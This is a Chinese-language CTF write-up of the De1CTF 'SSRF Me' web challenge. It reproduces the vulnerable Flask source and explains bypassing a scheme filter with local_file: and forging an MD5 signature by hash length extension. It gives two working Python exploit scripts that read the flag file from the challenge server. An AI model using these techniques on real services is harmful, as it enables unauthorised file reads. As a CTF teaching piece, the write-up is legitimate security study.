De1ctf的web题解

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字数统计: 707 | 阅读时长 ≈ 3

前言

在暑假没有什么事干就抽时间和队友做了一下De1ctf,对于小白来说还是比较难得。

SSRF ME

题目的hint

1
hint for [SSRF Me]: flag is in ./flag.txt

访问http://139.180.128.86/链接拿到源码如下：

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#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16)
class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)):          #SandBox For Remote_Addr
            os.mkdir(self.sandbox)
    def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result
    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False
#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)
@app.route('/De1ta',methods=['GET','POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())
@app.route('/')
def index():
    return open("code.txt","r").read()
def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"
def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()
def md5(content):
    return hashlib.md5(content).hexdigest()
def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False
if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0',port=80)

阅读源码发现scan函数没有什么过滤可以进行SSRF

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def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"

发现题目过滤了常用的读取文件的协议gopher，file于是联想到hint要进行任意文件读取，可以用local_file:绕过读取文件

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def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False

我们要进行任意文件的读取首先要进行签名校验

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def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False

跟进getSign()，看到使用md5进行签名，其中secert_key = os.urandom(16)是固定长度的随机数。

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def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()

可以进行hash长度扩展攻击，脚本如下：

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import hashpumpy
import requests
import urllib


url = 'local_file:///app/flag.txt'
response = requests.get('http://139.180.128.86/geneSign?param='+url)
oldSign = response.content
newSign = hashpumpy.hashpump(oldSign, url + 'scan', 'read', 16)
cookies={
    'sign': newSign[0],
    'action': urllib.quote(newSign[1][19:])
}
r = requests.get('http://139.180.128.86/De1ta?param='+url, cookies=cookies)
print r.content

还有一个非预期的解法脚本如下：

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import requests

url = "http://139.180.128.86"

def geneSign(param):
    data={
        "param":param
    }
    return requests.get(url+"/geneSign",params=data).text

def challenge(action,param,sign):
    cookies={
        "action":action,
        "sign":sign
    }
    params={
        "param":param
    }
    return requests.get(url+"/De1ta",params=params,cookies=cookies).text

def main():
    print challenge("readscan","flag.txt",geneSign("flag.txtread"))

if __name__=='__main__':
    main()